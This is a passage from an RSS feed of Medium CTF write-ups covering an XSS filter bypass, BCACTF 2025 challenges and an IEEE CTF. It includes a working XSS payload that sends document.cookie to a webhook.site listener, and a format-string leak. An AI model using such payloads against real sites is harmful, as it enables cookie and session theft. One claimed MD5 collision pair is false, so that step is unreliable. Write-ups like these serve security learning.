browser.newPage();<br>  await page.setCookie({<br>    name: &#39;FLAG&#39;,<br>    value: process.env.FLAG || &#39;FLAG_NOT_SET&#39;,<br>    url: &#39;https://web-czechoslovakia.hackena-labs.com/&#39;,<br>    path: &#39;/&#39;,<br>    secure: false<br>  });<br><br>  try {<br><br>    await page.goto(url, { waitUntil: &#39;networkidle2&#39;, timeout: 60000 });<br><br>    res.json({ success: true, message: &#39;Visited successfully&#39; });<br>  } catch (err) {<br>    console.error(&#39;Error:&#39;, err);<br>    res.status(500).json({ error: &#39;Automation failed&#39;, details: err.message });<br>  } finally {<br>    await browser.close();<br>  }<br>});<br><br><br>app.listen(PORT,&quot;0.0.0.0&quot;, () =&gt; {<br>  console.log(`Server is running on http://localhost:${PORT}`);<br>});</pre><p>Let’s start with understanding the code:</p><p><strong>In </strong><strong>index.php :</strong></p><pre><br>&lt;h3 id=&quot;welcome&quot;&gt;&lt;/h3&gt;<br>&lt;script&gt;<br>document.getElementById(&quot;welcome&quot;).innerText = &quot;Welcome, &lt;?=$name?&gt;&quot;;<br>&lt;/script&gt;<br></pre><p>The name parameter is directly embedded to the JavaScript context without proper validation or encoding.</p><p><strong>In </strong><strong>admin_bot.js:</strong></p><pre>await page.setCookie({<br>    name: &#39;FLAG&#39;,<br>    value: process.env.FLAG || &#39;FLAG_NOT_SET&#39;,<br>    url: &#39;https://web-czechoslovakia.hackena-labs.com/&#39;,<br>});</pre><p>The bot visits any URL in the target domain with the FLAG cookie set.</p><h4><strong>Understanding the filters</strong></h4><p>The application implements TWO layers of filtering:</p><p><strong>Filter Layer 1: Whitespace Removal</strong></p><pre>function remove_all_whitespace(string $s): string {<br>return preg_replace(&#39;/[\p{Z}\p{C}\s]+/u&#39;, &#39;&#39;, $s);<br>}</pre><p>Removes ALL whitespace characters including:<br>- Spaces<br>- Tabs (\t)<br>- Newlines (\n, \r)<br>- Unicode whitespace (\p{Z})<br>- Control characters (\p{C})</p><p><strong>Filter Layer 2: Character Whitelist &amp; Logic</strong></p><pre>function check($input) {<br>    $whitelist = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;&quot;/&#39;;<br>    <br>    // Rule 1: No angle brackets<br>    if(str_contains($input, &#39;&lt;&#39;)) return false;<br>    <br>    // Rule 2: Maximum ONE double quote<br>    if(substr_count($input, &#39;&quot;&#39;) &gt; 1) return false;<br>    <br>    // Rule 3: Only whitelisted characters allowed<br>    for ($i = 0; $i &lt; $len; $i++) {<br>        $char = $input[$i];<br>        if (strpos($whitelist, $char) === false) {<br>            return false;<br>        }<br>        <br>        // Rule 4: Special handling for //<br>        if ($char === &#39;/&#39; &amp;&amp; isset($input[$i+1]) &amp;&amp; $input[$i+1] === &#39;/&#39;) {<br>            if (strpos($result, &#39;&quot;&#39;) !== false) {<br>                break;  // Stop processing after // if quote exists<br>            }<br>        }<br>    }<br>    return $result;<br>}</pre><h4><strong>Summary of Constraints:</strong></h4><p><strong>No </strong><strong>&lt;</strong> → Cannot use HTML tags | Blocks &lt;script&gt;, &lt;img&gt;, etc.</p><p><strong>Max 1 </strong><strong>”</strong> → Only one double quote, Limits string escaping options</p><p><strong>Whitelist only → </strong>Letters, digits, ;, ”, / Blocks parentheses, dots, special chars, etc.</p><p><strong>No whitespace</strong> → All spaces removed, Must write JavaScript without spaces</p><p><strong>// stops after</strong><strong>”</strong> → Processing ends at // if ” exists before it <br><strong>KEY LOOPHOLE!</strong></p><p>After understanding the filters and the code clearly, we have an XSS in the name parameter that we should exploit by bypassing the filters to get the FLAG cookie.</p><p>I started by examining the browser behavior by entering some blocked payloads and observing its impact</p><p>I tried many payloads that I thought it will skip the filters but it fail like:<br>?name=””;alert(1);// and each time it gives Welcome, Guest :(</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5iqgYV6EnrKl-jQWfag2eQ.png" /></figure><p>After a lot of trials I was stuck in the LOOPHOLE lool</p><p>We can return a step back and understand clearly the logic and the intended purpose of this filter (from the PHP’s perspective):<br><strong>The developers wanted to allow “safe” JavaScript patterns like:</strong></p><pre>&quot;;  // This is just a comment, nothing dangerous here</pre><p>So If we see a ”followed later by //, Everything after //is safe because it’s commented out, So we can stop validating and allow it through</p><p><strong>The assumption: </strong>In JavaScript, //starts a comment, so anything after it won’t execute.</p><h4>The core trick in the challenge (<strong>Parser Mismatch</strong>)</h4><p>The filter and JavaScript parser interpret the <strong>same text differently</strong>. Here’s why:</p><p><strong>From the PHP perspective:<br></strong>Input: &quot;;/a//(malicious_code)// <br>&quot;→ quote found<br>;, / , a, /→ Valid characters <br>/ → This is the second slash!, the server check if there was a &quot; before and yes so the assumption → Everything after //is a comment (safe) so stop validation because it treats the comment as a harmless thing.</p><p><strong>From the JavaScript perspective:<br></strong>The same input: &quot;;/a//(malicious_code)//</p><pre>document.getElementById(&quot;welcome&quot;).innerText = &quot;Welcome, &quot;;/a//(malicious_code)//&quot;;</pre><p>&quot; → String literal<br>; → Statement terminator<br>/a/ → Valid regex literal (harmless by itself).<br>// → Looks like the start of a comment, but only after the parser has already accepted /a/ as a complete expression.<br>(malicious_code) → Treated as a new expression, so it executes.<br>// → Starts a comment and makes the sentence looks familiar to a JS code</p><p>After all this, let’s confirm our approach is true by trying to make an alert:<br>?name=&quot;;/a//(alert(1))// anddddd doneeeee</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udDuzepYo70hAuaWGNRjaA.png" /></figure><p>After I could make an alert which make me can execute any JS code with the same approach. Now I should build the full exploit to steel the flag.</p><p>After skipping the filter by &quot;;/a// the following code is that we will steel the flag with. The intended path is to make the admin_bot visit the URL without malicious and then will send the flag back as a cookie.</p><p>We can receive the cookie in a listener like <strong>webhook</strong>, So the exploit will be:</p><pre>(window.location=&#39;https://webhook.site/YOUR_ID/?c=&#39;.concat(btoa(document.cookie)))</pre><ul><li>document.cookie — Retrieves all cookies (including FLAG)</li><li>btoa(document.cookie) — Base64 encodes the cookie data</li><li>.concat() — Appends the encoded data to our URL</li><li>window.location= — Redirects to our webhook, exfiltrating the data</li></ul><p><strong>The final payload will be:</strong></p><pre>&quot;;/a//(window.location=&#39;https://webhook.site/YOUR_ID/?c=&#39;.concat(btoa(document.cookie)))//</pre><p>The Exploitation Steps:</p><ul><li>Encode the payload</li><li>https://web-czechoslovakia.hackena-labs.com/?name=&lt;ENCODED_PAYLOAD&gt;</li><li>Make the bot visit the URL by sending a request to <strong>visit </strong>endpoint:</li></ul><pre>curl -X POST https://web-czechoslovakia-bot.hackena-labs.com/visit \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;url&quot;: &quot;https://web-czechoslovakia.hackena-labs.com/?name=&lt;ENCODED_PAYLOAD&gt;&quot;}&#39;</pre><ul><li>Receive the flag in your webhook and decode it.</li></ul><p>DONE FOR THE DAY — SEE YOU IN ANOTHER CHALLENGE ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9ebe5197526" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BCACTF 2025 Write-Up]]></title>
            <link>https://medium.com/@db1M/bcactf-2025-write-up-c803ac53a4db?source=rss-9f4e7f83a72e------2</link>
            <guid isPermaLink="false">https://medium.com/p/c803ac53a4db</guid>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[miscellaneous]]></category>
            <dc:creator><![CDATA[db1M]]></dc:creator>
            <pubDate>Tue, 24 Jun 2025 17:48:51 GMT</pubDate>
            <atom:updated>2025-06-30T23:24:13.685Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*tFeIOJRUB-mjRXwk8UdqCA.png" /></figure><p><strong>Hello everyone, I’m Mohanad Mousa, also known as “DblM”, a self-taught penetration tester and CTF player. In this write-up, I’ll share my experience participating in </strong><a href="https://play.bcactf.com/challenges"><strong>BCACTF</strong></a><strong>, where I solved a total of 10 challenges across various categories: 4 in Misc, 2 in Binary Exploitation, 2 in Cryptography, and 2 in Web. Let’s dive in!</strong></p><h3>Misc Category</h3><h4>expletive</h4><p>oh no! It seems like only some of the characters on my keyboard are working…</p><p>nc challs.bcactf.com 38421</p><pre>blacklist = &quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&quot;<br><br>def security_check(s):<br>    return any(c in blacklist for c in s) or s.count(&#39;_&#39;) &gt; 50<br><br>BUFFER_SIZE = 36<br><br>while True:<br>    cmds = input(&quot;&gt; &quot;)<br><br>    if security_check(cmds):<br>        print(&quot;invalid input&quot;)<br>    else:<br>        if len(cmds) &gt; BUFFER_SIZE:<br>            print(open(&quot;flag.txt&quot;, &quot;r&quot;).read())<br>            break<br>        else:<br>            print(&quot;nope&quot;)</pre><p>I noticed in the given server code two important things, first, all capital and small characters, and the numbers from 0 to 9 are blocked. Second, the buffer size is 36, so to print the flag, I should write something that skips the condition, but all characters are blocked too.</p><p>So I tried to write a special character like a semicolon and more than 36 sooooo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*Lx4J4zpvuhE9tBSCgLpfdg.png" /></figure><p>Our approach is true and the flag is <strong><em>bcactf{fudG3_5hOo7_d4rn100}</em></strong></p><h4>Molasses</h4><p>This GIF shows the flag letter-by-letter, but it’s really slow and I don’t want to wait all day. Maybe there’s a faster way to get the flag? <a href="https://play.bcactf.com/files/75e7d45d59e988ae4f29213e2d005660/molasses.gif?token=eyJ1c2VyX2lkIjoxNzksInRlYW1faWQiOjk1LCJmaWxlX2lkIjo0Nn0.aFnrUQ.SRJFvC-I4C1vgfLMoQszCBVjYwk"><strong>molasses.gif</strong></a></p><p>I tried to make some forensic techniques as I used commands like strings binwalk exiftool, but nothing was useful, so I tried to drag a photo into a <a href="https://www.photopea.com/"><em>photopea,</em></a><em> </em>a useful online tool that clarifies if the given photo contains hidden layers or such so</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*0kKBREoXQMAErIdzbgn1zQ.png" /></figure><p>After collecting the flag parts ==&gt; our flaaaaaaaag is <strong><em>bcactf{is_it_gif_or_gif_a51fd7ace416}</em></strong></p><h4>Annoying</h4><p>Sometimes things are more annoying than they are difficult.</p><p><a href="https://play.bcactf.com/files/97bf5ef2f616239dad944354696f10d2/DLXENH.zip?token=eyJ1c2VyX2lkIjoxNzksInRlYW1faWQiOjk1LCJmaWxlX2lkIjo1MX0.aFnt5w.EV8r0bzN1-j2LViMSn6N9B9AlM4">DLXENH.zip</a> ( click on the name to download )</p><p>Truely, the caption is very true because the given file contains multiple zip, Idk how much :), but I tried to extract them 4 or 5 times until I got bored.</p><p>I thought in a very dumb approach I wasn’t imagining that It would be that easy I just stringsed the file and grepped the flag format. LOOK AT THIS….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*l6EcDHORupcgmNQGrvePKw.png" /></figure><p>OUR FLAG IS HERE <strong><em>bcactf{w3ll_th4t_w4s_4nn0y1ng_fca743ef043c1d8}</em></strong></p><h3>Binary Exploitation</h3><h4>ShallowSeek</h4><p>Our brand new AI, ShallowSeek, is the latest and greatest LLM created to date. You can talk to it about anything! (Well, anything the government lets you)</p><p>nc challs.bcactf.com 44123</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>char *welcome = &quot;Welcome to ShallowSeek!\nShallowSeek is a new, hyperadvanced AI that can answer any of your questions (that comply with government rules)! Ask away!\n&quot;;<br>char *begin = &quot;Sorry, but \&quot;&quot;;<br>char *end = &quot;\&quot; is beyond my current scope. Let&#39;s talk about something else.\n&quot;;<br><br>int main(int argc, char **argv) {<br> setbuf(stdout, NULL);<br>    setbuf(stdin, NULL);<br>    setbuf(stderr, NULL);<br><br> char input[64];<br> char flag[64];<br> fgets(flag, 64, fopen(&quot;flag.txt&quot;, &quot;r&quot;));<br> printf(&quot;%s&quot;, welcome);<br> while (1) {<br>  // read input<br>  int i = 0;<br>  char c;<br>  while ((c = getchar()) != &#39;\n&#39;) {<br>   input[i++] = c;<br>  };<br><br>  // no buffer overflow for you<br>  if (strlen(input) == 64) {<br>   printf(&quot;%s&quot;, &quot;Invalid input: use less than 64 characters&quot;);<br>   continue;<br>  }<br>  <br>  // print out censored results (gov. banned everything whoops)<br>  printf(&quot;%s&quot;, begin);<br>  printf(&quot;%s&quot;, input);<br>  printf(&quot;%s&quot;, end);<br><br>  // clear input<br>  for (int j = 0; j &lt; 64; j++) {<br>   input[j] = 0;<br>  }<br> }<br> return 0;<br>}</pre><p>The program reads user input into a 64-byte buffer (input) without proper bounds checking, allowing an attacker to overflow into the adjacent flag buffer. Although there is a strlen() check to prevent buffer overflows, it occurs after the input is read, making it ineffective.</p><ul><li>The loop while ((c = getchar()) != &#39;\n&#39;) writes to input[i++] without checking if i exceeds the buffer size.</li><li>If exactly 64 bytes are sent (without a newline), the buffer is filled, leaving no null terminator.</li><li>Since strlen() searches for a null terminator, reading 64 non-null bytes causes it to read beyond input into flag.</li><li>The check if (strlen(input) == 64) fails to prevent the overflow because it happens too late.</li><li>printf(&quot;%s&quot;, input) prints until a null byte is found.</li><li>Since input has no null terminator, it leaks adjacent memory (flag).</li></ul><p>SO the strategy I followed, I send exactly 64 bytes to fill the input completely, then strlen(input) reads into flag, making the check pass,printf(&quot;%s&quot;, input) leaks the flag because it continues printing into adjacent memory.</p><p>AND THAT IT IS ALL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VwpZ2TeUxywKvF_fPXrXHg.png" /></figure><p>Our flag is <strong><em>bcactf{s0rRy_1_cAn7_741K_4B0U7_7ha7_R16h7_N0w_GfhNkl0iP2BK}</em></strong></p><h3>Printed</h3><p>lol i fixed my printer. it just prints stuff now, you can use it now i guess.</p><p>(even if the initial prompt does not show up, the challenge should function as expected)</p><p>nc challs.bcactf.com 37643</p><pre>#include &lt;stdio.h&gt;<br><br>char flag[128];<br><br>void show(char* name, char* flag) {<br> char newflag[50];<br> snprintf(newflag, sizeof(newflag), name);<br> printf(&quot;%s&quot;, newflag);<br>}<br><br>int main() {<br> char name[45];<br> printf(&quot; &gt; What&#39;s your name?  &quot;);<br> fgets(name, 45, stdin);<br> <br> FILE *fp = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br> if (fp) {<br>  fgets(flag, sizeof(flag), fp);<br>  fclose(fp);<br> } else {<br>  flag[0] = &#39;\0&#39;;<br> }<br><br> show(name, flag);<br><br> return 0;<br>}</pre><p>The provided C program reads a user-supplied name and prints it back using snprintf(). However, it contains a <strong>critical format string vulnerability</strong> due to improper handling of user input. Here&#39;s the problematic section:</p><pre>void show(char* name, char* flag) {<br>    char newflag[50];<br>    snprintf(newflag, sizeof(newflag), name); <br>    printf(&quot;%s&quot;, newflag);<br>}</pre><p>The name buffer is passed directly to snprintf() as the format string instead of being treated as data ( use %s ) as it should be:</p><pre>snprintf(newflag, sizeof(newflag), &quot;%s&quot;, name); // Correct: name is data, not format</pre><p>If a user submits format specifiers like %s, %p, or %x, the program will interpret them as commands rather than plain text. This allows attackers to:</p><ul><li><strong>Leak memory</strong> (ex, %p exposes stack/pointer values).</li><li><strong>Steal the flag</strong> (ex, %s reads from memory if the flag&#39;s address is on the stack).</li></ul><p>So first to implement my approach, I tried to write %p and see the output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*0bdHBg59ctP4-a2glU4ulg.png" /></figure><p>It outputs some addresses, and our flag could be one of them, so I tried to print the flag using the %n$s format, and to understand this format:</p><p><strong>n</strong> = Stack position (e.g., %4$s reads the 4th argument on the stack).</p><p><strong>%s</strong> = Treats that argument as a pointer to a string and prints it.</p><p>As the vulnerable snprintf(name) call treats name as a format string, not plain text so it worked in this challenge. Let’s tryyyyyyyy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*pN8uLXdAmhmOmre_ArncLg.png" /></figure><p><strong>HERE WEEE GOOOOOO</strong> Our flag is in the 4th argument on the stack</p><p><strong><em>bcactf{mY_pr!nt3r_d0esnt_do_th@7_vrfhu}</em></strong></p><h3>Crypto</h3><h4>BMovie</h4><p>I cannot possibly believe that you could break into my highly secured, bee-crypted vault</p><p>nc challs.bcactf.com 21649</p><pre>import { hash, verify } from &quot;jsr:@blackberry/bcrypt@0.17.0&quot;;<br><br>const encoder = new TextEncoder();<br>let uname: string, pwd: string, adminHash: string;<br><br>async function readLine(promptText: string): Promise&lt;string&gt; {<br>  await Deno.stdout.write(new TextEncoder().encode(promptText));<br>  const buf = new Uint8Array(1024);<br>  const n = &lt;number&gt; await Deno.stdin.read(buf);<br>  if (n === null) return &quot;&quot;;<br>  return new TextDecoder().decode(buf.subarray(0, n)).trim();<br>}<br><br>async function readConfirm(promptText: string): Promise&lt;boolean&gt; {<br>  const answer = (await readLine(promptText + &quot; (y/n): &quot;)).toLowerCase();<br>  return answer.startsWith(&quot;y&quot;);<br>}<br><br>async function menu() {<br>  console.log(<br>    `Welcome! To begin, please register an admin account to hold the flag.`,<br>  );<br>  await signUp();<br>}<br><br>async function signUp() {<br>  uname = await readLine(&quot;Enter a username for the administrator: &quot;);<br>  pwd = await readLine(<br>    &quot;Enter a secure password for the administrator account: &quot;,<br>  );<br>  adminHash = hash(encoder.encode(uname + &quot;;&quot; + pwd));<br><br>  const next = await readConfirm(&quot;Would you like to view the flag now?&quot;);<br>  if (next) {<br>    await login();<br>  } else {<br>    console.log(&quot;exiting...&quot;);<br>    Deno.exit(0);<br>  }<br>}<br><br>async function login() {<br>  const flag = await Deno.readTextFile(&quot;flag.txt&quot;);<br>  console.log(&quot;Choose an account to log into: &quot;);<br>  const user = await readLine(&quot;Enter username: &quot;);<br>  const password = await readLine(&quot;Enter password: &quot;);<br>  if (user === uname || password === pwd) {<br>    console.log(<br>      &quot;HEY. I sure hope you&#39;re not trying to break into the admin account.&quot;,<br>    );<br>    Deno.exit(0);<br>  }<br><br>  if (!verify(encoder.encode(user + &quot;;&quot; + password), adminHash)) {<br>    console.log(&quot;nahh you&#39;re not authorized to view the flag.&quot;);<br>    Deno.exit(0);<br>  }<br><br>  console.log(flag);<br>}<br><br>await menu();</pre><p>The challenge asks us to register an admin account and then log in to view the flag. But the code tries to block access if you log in using the same username or password as the admin.</p><pre>if (user === uname || password === pwd) {<br>  console.log(&quot;HEY. I sure hope you&#39;re not trying to break into the admin account.&quot;);<br>  Deno.exit(0);<br>}</pre><p>However, this check only compares the exact username and password strings, not the combined hash that controls access.</p><p>Later in the same function, it verifies the login by checking:</p><pre>verify(encoder.encode(user + &quot;;&quot; + password), adminHash)</pre><p>This means that as long as we input the correct combo (user + &quot;;&quot; + password) that matches the admin&#39;s credentials exactly, we can still log in—even though we aren&#39;t allowed to use the same username or the same password alone.</p><p>After several attempts and a lot of effort, I finally discovered the input values that bypassed both conditions. The admin credentials were:</p><ul><li><strong>Admin Username:</strong> admin;</li><li><strong>Admin Password:</strong> pass</li></ul><p>The credentials that successfully bypassed the conditions were:</p><ul><li><strong>Username:</strong> admin</li><li><strong>Password:</strong> ;pass</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*jcSUO_L-XEoSlZIiKFU3TA.png" /></figure><p>HERE IS THE FLAGGGG <strong><em>bcactf{!_c@n7_BEE_L1ev3_!t_fwrhiu}</em></strong></p><h3>ez-xor</h3><p>Please be very ORZ and do some XORing.</p><pre>ICEjITYkOREpKyArBisRNyQkHRArODguJxAvJx0RKyUvIx0OIywmch0DNzAjJS0sHQAjMC0sHRcyJTAjJicmPw==</pre><p>From the name of the challenge, I know that I will use an XOR technique.</p><p>I had a ready script that used XOR, so I just made the script XOR with the flag format bcactf{ :</p><pre>import base64<br><br>def decode_flag(encoded_str):<br>    decoded_bytes = base64.b64decode(encoded_str)<br>    <br>  <br>    for key in range(256):<br>        xor_result = bytes([b ^ key for b in decoded_bytes])<br>        <br><br>        if b&#39;bcactf{&#39; in xor_result:<br>            return xor_result.decode(&#39;utf-8&#39;)<br>    <br>    # If single-byte XOR doesn&#39;t work, try multi-byte XOR<br><br>    flag_start = b&#39;bcactf{&#39;<br>    potential_key = bytes([decoded_bytes[i] ^ flag_start[i] for i in range(len(flag_start))])<br>    <br>    # Try repeating this key<br>    key_length = len(potential_key)<br>    xor_result = bytes([decoded_bytes[i] ^ potential_key[i % key_length] for i in range(len(decoded_bytes))])<br>    <br>    return xor_result.decode(&#39;utf-8&#39;)<br><br><br>encoded_str = &quot;ICEjITYkOREpKyArBisRNyQkHRArODguJxAvJx0RKyUvIx0OIywmch0DNzAjJS0sHQAjMC0sHRcyJTAjJicmPw==&quot;<br><br><br>flag = decode_flag(encoded_str)<br>print(f&quot;Decoded flag: {flag}&quot;)</pre><p><strong><em>And DONE 👌 the flag is bcactf{SkibiDiSuff_RizzleRme_Sigma_Land0_Auragon_Baron_Upgraded}</em></strong></p><h3>web</h3><h4>What?</h4><p>Surmount the insurmountable.</p><p>The web <a href="http://challs.bcactf.com:47861/">LINK</a></p><p>The provided PHP code for the web:</p><pre>&lt;?php<br>    if ($_SERVER[&#39;REQUEST_METHOD&#39;] === &#39;POST&#39;) {<br>        $str1 = $_POST[&#39;string1&#39;] ?? &#39;&#39;;<br>        $str2 = $_POST[&#39;string2&#39;] ?? &#39;&#39;;<br><br>        $hash1 = md5($str1);<br>        $hash2 = md5($str2);<br><br>        if ($str1 == $str2 || strlen($str1) &gt; 100 || strlen($str2) &gt; 100 ||<br>            strlen($str1) &lt; 5 || strlen($str2) &lt; 5) {<br>            echo &quot;No\n&quot;;<br>            exit;<br>        } else if ($hash1 == $hash2) {<br>            echo file_get_contents(&quot;flag.txt&quot;);<br>            exit;<br>        }<br>    }<br>?&gt;<br><br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>    &lt;head&gt;<br>        &lt;title&gt;What?&lt;/title&gt;<br>    &lt;/head&gt;<br>    &lt;body&gt;<br>        &lt;form method=&quot;POST&quot;&gt;<br>            &lt;label for=&quot;string1&quot;&gt;String 1:&lt;/label&gt;<br>            &lt;input type=&quot;text&quot; name=&quot;string1&quot; id=&quot;string1&quot; required&gt;&lt;br /&gt;<br><br>            &lt;label for=&quot;string2&quot;&gt;String 2:&lt;/label&gt;<br>            &lt;input type=&quot;text&quot; name=&quot;string2&quot; id=&quot;string2&quot; required&gt;&lt;br /&gt;<br><br>            &lt;input type=&quot;submit&quot; value=&quot;Compare hashes&quot; /&gt;<br>        &lt;/form&gt;<br>    &lt;/body&gt;<br>&lt;/html&gt;</pre><p>To bypass the conditions in the code, we need to find two different strings (so str1 != str2), each with a length between 5 and 100 characters, that produce the same MD5 hash. This is known as an <strong>MD5 collision</strong>. I asked ChatGPT to make two different strings and have the same MD5 hash:</p><p>str1 = aabg7XSs<br>str2 = aabC9RqS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*tDz_VVQyUgkQzI89TztIHA.png" /></figure><p>And Done!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*mvnTGzNwJ3aO4saZT_whfg.png" /></figure><p>Our flag is <strong><em>bcactf{wh0_kn0ws_4nym0r3_11fab08d769a}</em></strong></p><p>I have solved a same idea challenge before, The first one in my write-up <a href="https://medium.com/@0xDblM/ieee-ramadan-fawazzer-ctf-writeup-d57265ce8ce9"><strong>IEEE RAMADAN CTF</strong></a>. Check it 🙌</p><h4>Source Under Control</h4><p>It’s my first time using Git. Hopefully nothing went unseen.</p><p>The web <a href="http://challs.bcactf.com:28973/"><strong>LINK</strong></a></p><p>I started visiting the webpage, but nothing was there, just Hello :( so I viewed the code source, but nothing was there either.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*w_irPhKB4idz7kGIsx0inQ.png" /></figure><p>So I returned to the challenge again, looking for any hints, but there weren’t any given hints, but if we look read the description again we will find he told us “It’s my first time using <strong>Git</strong>”, so I considered git as a hint and I tried to write /.git/ in the code source URL =&gt;</p><p>view-source:<a href="http://challs.bcactf.com:28973/.git/">http://challs.bcactf.com:28973/.git/</a></p><p>Then I found</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*wBq9APu7mKey9AghR1dTmQ.png" /></figure><p>Then I downloaded the git repository on my local machine to make it easy to search for the flag or any hints, so I wrote</p><p>wget -r — no-parent <a href="http://challs.bcactf.com:28973/.git/">http://challs.bcactf.com:28973/.git/</a></p><p>And in my first step in analyzing the repo I wanted to search for any hints or deleted commits or flags so I used git log -p .</p><p>For those who don’t know git log -p command It shows:</p><p><strong>Commit Metadata like: </strong>Author name/email - Commit date -Commit message (often contains hints in CTFs).</p><p><strong>-p flag:</strong></p><ul><li>Exact lines added/removed in each file changed by the commit.</li><li>Shown in unified diff format (+ for additions, - for deletions).</li></ul><p>Here we are again, after writing the command, I captured the flag immediately. loooook at himmm :))</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*KXuOjBVOHVoFFVpEzNdpwQ.png" /></figure><p>The flag is <strong><em>bcactf{oops_didnt_mean_to_serve_that_c06677d3437e}</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c803ac53a4db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IEEE Ramadan Fawazzer CTF Writeup]]></title>
            <link>https://medium.com/@db1M/ieee-ramadan-fawazzer-ctf-writeup-d57265ce8ce9?source=rss-9f4e7f83a72e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d57265ce8ce9</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[db1M]]></dc:creator>
            <pubDate>Mon, 17 Mar 2025 23:48:01 GMT</pubDate>
            <atom:updated>2025-03-17T23:48:01.664Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9VMFzwWvexea-QbmmWPFlg.png" /></figure><p><strong>Hello folks, I’m Mohanad Edrees, A cybersecurity enthusiast and CTF player. In this write-up, I’ll break down my journey through the IEEE Ramadan Fawazzer CTF, where I tackled 1 crypto, 1 web, 2 forensics, and 3 osint challenges. Each challenge tested different skills, and I had to dig deep into my problem-solving arsenal to crack them. Let’s dive in!</strong></p><h3>Crypto</h3><h4><a href="https://merciful-raptorex-1ce.notion.site/Unique-Ticket-Challenge-1b95111facbf80c38d0af8785d8d9fe5?pvs=4">Unique Ticket challenge</a></h4><ul><li><strong>The target in this challenge is to send two different files and make the server produce the same hash, If we can do it we will capture the flag.</strong></li></ul><p>Now, I started thinking about this challenge by choosing which thing would be sent to the server and making a hash of it, so I chose a random picture on my desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*BSgKt8URfQt-UgG_-Xt_LA.jpeg" /></figure><p>I want to make the file be a little different and I thought in many ways such: as resizing the photo by one pixel, changing a small pit color, and pixelized a part of the photo I have made these changes by using an online tool <a href="https://www.resizepixel.com/edit">www.resizepixel.com</a> converting it into URL by using <a href="https://postimages.org/">Postimages — free image hosting / image upload</a>​</p><ul><li>Then I have connected the server by using this command</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*lOj-fL37xCTzBOgwgBxFgg.png" /></figure><ul><li>Now we should send the URL we have produced and the server will respond with a hash.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*hIpjuJ8CuN-Z1HHyIp21JA.png" /></figure><ul><li>I have changed the photo size by one pixel and produced another URL. Let’s see what the result is:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*-PY7n1KmAiscF1cfBiX8sA.png" /></figure><p><strong>The server responded with a different hash so I had should change my way of solving this challenge.</strong></p><ul><li>I have searched for another tool to do it and I have found a tool called <strong><em>fastcoll </em></strong>It generates two files with the same MD5 hash but you want to install it first in your terminal:</li></ul><pre>sudo apt update<br>sudo apt install build-essential<br>sudo apt install git (if you don&#39;t have it)<br>git clone https://github.com/upbit/fastcoll.git</pre><p>To generate hashes and verify the hashes :</p><pre>./fastcoll -o seek.jpg seek(1).jpg (makeing the hashes)<br><br>md5sum seek.jpg seek(1).jpg (verify it)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*HRAWm0ZRZpNizRhW84kEXw.png" /></figure><p>The final result is ⤵️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*RCMkz7K5tLz_9xk_QfWVkQ.png" /></figure><p><strong>The files have the same hash as wanted now let’s upload them in a cloud to get links ( I have used google drive but isn’t a practical way because it have modified my files and the hashes became different so the best practice is GitHub )</strong></p><ul><li>Soooooo after getting the links let’s try:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*00CK5iNQzlrOO7l0DMsX2w.png" /></figure><p>annnddddddddddddddd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*RWJMLWEcy2H_a2XX2PCqIQ.png" /></figure><ul><li>Finally we got the flag <strong><em>IEEE{Welc00meT0_Flight11}</em></strong> 🥳🥳🥳🥳🥳🥳</li></ul><h3>Web</h3><h4><a href="https://merciful-raptorex-1ce.notion.site/Here-We-Start-Challenge-1b95111facbf80dabe56ff853ca53863?pvs=4">Here We Start</a></h4><p><strong>The flag in this challenge doesn’t know where it will be so I started thinking about seeing the source code right click and choose view page source and let’s see what happened 🤔</strong></p><ul><li>I noticed the flag format is written at the top of the source code</li></ul><figure><img alt="" 